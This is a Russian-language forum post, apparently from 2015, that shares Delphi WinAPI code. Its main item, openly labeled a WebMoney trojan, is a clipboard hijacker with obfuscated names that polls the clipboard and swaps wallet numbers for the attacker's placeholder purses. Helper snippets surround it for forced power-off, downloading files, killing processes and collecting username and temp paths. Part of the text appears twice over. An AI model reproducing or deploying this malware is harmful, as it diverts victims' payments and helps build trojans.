    procedure HT6G7fgjh67fygu8f86F6fFH(const S: string);  //запись в буффер
    var hglbCopy: THandle; L: Cardinal;
    begin
    L:=Length(S)+1;
      OpenClipboard(0);
    try
      EmptyClipboard;
      hglbCopy:=GlobalAlloc(GMEM_DDESHARE, L);
      Move(PChar(S)^,GlobalLock(hglbCopy)^,L);
      GlobalUnlock(hglbCopy);
      SetClipboardData(CF_TEXT, hglbCopy);
    finally
      CloseClipboard;
    end;
    end;
    
    
    
    
    Procedure H447h7hhh7gGHgGHG8Gg787GgGHG8; //процесс трояна
    var
    KernText:AnsiString;
    begin
    while 6>0 do
    begin
    KernText :=GHGG770f7T69frfgJH8TT8;
    if KernText = 'KWT' then begin
    halt;
    end;
    if Length(KernText) = 13 then begin
    if Copy(KernText,0,1) = 'R' then
    HT6G7fgjh67fygu8f86F6fFH('Rкошель'));
    if Copy(KernText,0,1) = 'Z' then
    HT6G7fgjh67fygu8f86F6fFH('Zкошель'));
    if Copy(KernText,0,1) = 'U' then
    HT6G7fgjh67fygu8f86F6fFH('Uкошель'));
    end;
    sleep(100);
    
    end;
    end;
    
    procedure FH48FH8ygH87g788Hih;
    begin
    a := beginthread(nil,0,@H447h7hhh7gGHgGHG8Gg787GgGHG8,nil,0,b);
    SetThreadPriority(a, THREAD_PRIORITY_HIGHEST);
    end;
    
    var
    mmsg:MSG;
    
    
    
    begin
    FH48FH8ygH87g788Hih;
    while GetMessage(mmsg,0,0,0) do
        begin
        TranslateMessage(mmsg);
        DispatchMessage(mmsg);
        end;
    end.
    
    
    А теперь коронный код, выключение компа как с розетки.
    Код:
    тип:
      _SHUTDOWN_ACTION = (
      ShutdownNoReboot,
      ShutdownReboot,
      ShutdownPowerOff);
      SHUTDOWN_ACTION = _SHUTDOWN_ACTION;
      TShutdownAction = SHUTDOWN_ACTION;
      NTSTATUS = Longint;
      PNTSTATUS = ^NTSTATUS;
      TNTStatus = NTSTATUS;
      function  NtShutdownSystem(Action : SHUTDOWN_ACTION): NTSTATUS; stdcall; external 'ntdll.dll';
    
    Процедура:
    Procedure Power_Off;
    var
      hToken: THandle;
      tkp, prevst: TTokenPrivileges;
      rl: DWORD;
    begin
      OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
      LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid);
      tkp.PrivilegeCount := 1;
      tkp.Privileges[0].Attributes := 2;
      AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(prevst), prevst, rl);
      NtShutdownSystem(ShutdownPowerOff);
    end;
    
    
    Проверка подклюения к инету
    Код:
    function IsConnectedToInternet: Boolean;
    var
    dwConnectionTypes: DWORD;
    begin
    dwConnectionTypes:= INTERNET_CONNECTION_MODEM or INTERNET_CONNECTION_LAN or INTERNET_CONNECTION_PROXY;
    Result := InternetGetConnectedState(@dwConnectionTypes, 0);
    end;
    Загрука файла WinInet
    Код:
    function DFile(SourceFile, DestFile: string): Boolean;
    begin
      try
      Result:=UrlDownloadToFile(nil,PChar(SourceFile),PChar(DestFile),0,nil)=0;
      except
      Result := False;
      end;
    end;
    
    Получение папки темп и юзернейма
    Код:
    function GetTempDir():string;
    var
      buf:string;
      len:UINT;
    begin
      SetLength(buf, MAX_PATH+1);
      len:=GetTempPath(MAX_PATH, PAnsiChar(buf));
      SetLength(buf,len);
      GetTempDir:=buf
    end;
    
    function GetUser: string;
    var
      UserName : string;
      UserNameLen : Dword;
    begin
      UserNameLen := 255;
      SetLength(userName, UserNameLen);
      if GetUserName(PChar(UserName), UserNameLen) then
        Result := Copy(UserName,1,UserNameLen - 1)
      else
        Result := 'Unknown';
    end;
    
    Генератор случайных строк т.е паролей
    Код:
    function Gen(): string;
    var
      str: string;
      PLen: Integer ;
    begin
    Randomize;
    Plen :=4; //Длина
      str    := 'abcdefghijklmnopqrstuvwxyz1234567890'; //Алфавит
      Result := '';
      repeat
        Result := Result + str[Random(Length(str)) + 1];
      until (Length(Result) = PLen)
    end;
    Убить процесс в uses Tlhelp32
    Код:
    
    function KillTask(ExeFileName:string):integer;
    const
    PROCESS_TERMINATE=$0001;
    var
    Co:BOOL;
    FS:THandle;
    FP:TProcessEntry32;
    begin
    result:=0;
    
    FS:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    FP.dwSize:=Sizeof(FP);
    Co:=Process32First(FS,FP);
    while integer(Co) <> 0 do
    begin
    if ((UpperCase(ExtractFileName(FP.szExeFile))=UpperCase(ExeFileName)) or
    (UpperCase(FP.szExeFile)=UpperCase(ExeFileName))) then
    Result:=Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE, BOOL(0),
    FP.th32ProcessID),0));
    Co:=Process32Next(FS,FP);
    end;
    CloseHandle(FS);
    end;

    фак, открыл старый проект заразился индюком:ej
    --- добавлено: 10 янв 2015 в 07:43 ---
    Ни одного реального кода:

    Отправка файла на ФТП, подклюаем WinInet



    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!


    Рекурсивный поиск файлов
    Код:
    var
      Form1: TForm1;
      count:integer;
    
    implementation
    
    {$R *.dfm}
    procedure GetAllFiles(mask: string);
    var
      search: TSearchRec;
      directory: string;
    begin
      directory := ExtractFilePath(mask);
    if FindFirst(mask, $23, search) = 0 then
      begin
        repeat
          Form1.Memo1.Lines.Add(directory + search.Name);
    
          Inc(Count);
        until FindNext(search) <> 0;
      end;
    if FindFirst(directory + '*.*', faDirectory, search) = 0 then
      begin
        repeat
          if ((search.Attr and faDirectory) = faDirectory) and (search.Name[1] <> '.') then
            GetAllFiles(directory + search.Name + '\' + ExtractFileName(mask));
        until FindNext(search) <> 0;
        FindClose(search);
      end;
    end;
    
    procedure TForm1.Button1Click(Sender: TObject);
    var
      directory: string;
      mask: string;
    begin
      Count := 0;
    
      directory := edit2.text;
      mask := edit1.text;
    
      Screen.Cursor := crHourGlass;
      try
        GetAllFiles(directory + mask);
      finally
        Screen.Cursor := crDefault;
      end;
      ShowMessage(IntToStr(Count) + ' Files found');
    end;
    
    Вебмани троян
    Код:
    Program KNoW_Engine;
    
    uses
      windows;
    
    var
    a,b:longword;
    
    
    Function ZH3HDJ43FHhHJHhkhk8ghk:THandle; //Инициализация читания текста из буфера
    begin
    OpenClipboard(0);
    Result := GetClipboardData(CF_TEXT);
    end;
    
    function GHGG770f7T69frfgJH8TT8: string; //Читание текста из буфера
    var
      Data: THandle;
    begin
    Data :=ZH3HDJ43FHhHJHhkhk8ghk;
      try
        if Data <> 0 then
          Result := PChar(GlobalLock(Data))
        else
          Result := '';
      finally
        if Data <> 0 then GlobalUnlock(Data);
        CloseClipboard;
      end;
    end;
    
    procedure HT6G7fgjh67fygu8f86F6fFH(const S: string);  //запись в буффер
    var hglbCopy: THandle; L: Cardinal;
    begin
    L:=Length(S)+1;
      OpenClipboard(0);
    try
      EmptyClipboard;
      hglbCopy:=GlobalAlloc(GMEM_DDESHARE, L);
      Move(PChar(S)^,GlobalLock(hglbCopy)^,L);
      GlobalUnlock(hglbCopy);
      SetClipboardData(CF_TEXT, hglbCopy);
    finally
      CloseClipboard;
    end;
    end;
    
    
    
    
    Procedure H447h7hhh7gGHgGHG8Gg787GgGHG8; //процесс трояна
    var
    KernText:AnsiString;
    begin
    while 6>0 do
    begin
    KernText :=GHGG770f7T69frfgJH8TT8;
    if KernText = 'KWT' then begin
    halt;
    end;
    if Length(KernText) = 13 then begin
    if Copy(KernText,0,1) = 'R' then
    HT6G7fgjh67fygu8f86F6fFH('Rкошель'));
    if Copy(KernText,0,1) = 'Z' then
    HT6G7fgjh67fygu8f86F6fFH('Zкошель'));
    if Copy(KernText,0,1) = 'U' then
    HT6G7fgjh67fygu8f86F6fFH('Uкошель'));
    end;
    sleep(100);
    
    end;
    end;
    
    procedure FH48FH8ygH87g788Hih;
    begin
    a := beginthread(nil,0,@H447h7hhh7gGHgGHG8Gg787GgGHG8,nil,0,b);
    SetThreadPriority(a, THREAD_PRIORITY_HIGHEST);
    end;
    
    var
    mmsg:MSG;
    
    
    
    begin
    FH48FH8ygH87g788Hih;
    while GetMessage(mmsg,0,0,0) do
        begin
        TranslateMessage(mmsg);
        DispatchMessage(mmsg);
        end;
    end.
    
    
    А теперь коронный код, выключение компа как с розетки.
    Код:
    тип:
      _SHUTDOWN_ACTION = (
      ShutdownNoReboot,
      ShutdownReboot,
      ShutdownPowerOff);
      SHUTDOWN_ACTION = _SHUTDOWN_ACTION;
      TShutdownAction = SHUTDOWN_ACTION;
      NTSTATUS = Longint;
      PNTSTATUS = ^NTSTATUS;
      TNTStatus = NTSTATUS;
      function  NtShutdownSystem(Action : SHUTDOWN_ACTION): NTSTATUS; stdcall; external 'ntdll.dll';
    
    Процедура:
    Procedure Power_Off;
    var
      hToken: THandle;
      tkp, prevst: TTokenPrivileges;
      rl: DWORD;
    begin
      OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
      LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid);
      tkp.PrivilegeCount := 1;
      tkp.Privileges[0].Attributes := 2;
      AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(prevst), prevst, rl);
      NtShutdownSystem(ShutdownPowerOff);
    end;
    
    
    Проверка подклюения к инету
    Код:
    function IsConnectedToInternet: Boolean;
    var
    dwConnectionTypes: DWORD;
    begin
    dwConnectionTypes:= INTERNET_CONNECTION_MODEM or INTERNET_CONNECTION_LAN or INTERNET_CONNECTION_PROXY;
    Result := InternetGetConnectedState(@dwConnectionTypes, 0);
    end;
    Загрука файла WinInet
    Код:
    function DFile(SourceFile, DestFile: string): Boolean;
    begin
      try
      Result:=UrlDownloadToFile(nil,PChar(SourceFile),PChar(DestFile),0,nil)=0;
      except
      Result := False;
      end;
    end;
    
    Получение папки темп и юзернейма
    Код:
    function GetTempDir():string;
    var
      buf:string;
      len:UINT;
    begin
      SetLength(buf, MAX_PATH+1);
      len:=GetTempPath(MAX_PATH, PAnsiChar(buf));
      SetLength(buf,len);
      GetTempDir:=buf
    end;
    
    function GetUser: string;
    var
      UserName : string;
      UserNameLen : Dword;
    begin
      UserNameLen := 255;
      SetLength(userName, UserNameLen);
      if GetUserName(PChar(UserName), UserNameLen) then
        Result := Copy(UserName,1,UserNameLen - 1)
      else
        Result := 'Unknown';
    end;
    
    Генератор случайных строк т.е паролей
    Код:
    function Gen(): string;
    var
      str: string;
      PLen: Integer ;
    begin
    Randomize;
    Plen :=4; //Длина
      str    := 'abcdefghijklmnopqrstuvwxyz1234567890'; //Алфавит
      Result := '';
      repeat
        Result := Result + str[Random(Length(str)) + 1];
      until (Length(Result) = PLen)
    end;
    Убить процесс в uses Tlhelp32
    Код:
    
    function KillTask(ExeFileName:string):integer;
    const
    PROCESS_TERMINATE=$0001;
    var
    Co:BOOL;
    FS:THandle;
    FP:TProcessEntry32;
    begin
    result:=0;
    
    FS:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    FP.dwSize:=Sizeof(FP);
    Co:=Process32First(FS,FP);
    while integer(Co) <> 0 do
    begin
    if ((UpperCase(ExtractFileName(FP.szExeFile))=UpperCase(ExeFileName)) or
    (UpperCase(FP.szExeFile)=UpperCase(ExeFileName))) then
    Result:=Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE, BOOL(0),
    FP.th32ProcessID),0));
    Co:=Process32Next(FS,FP);
    end;
    CloseHandle(FS);
    end;

    Учитесь, всё на WinApi.
     

Поделиться этой страницей

Загрузка...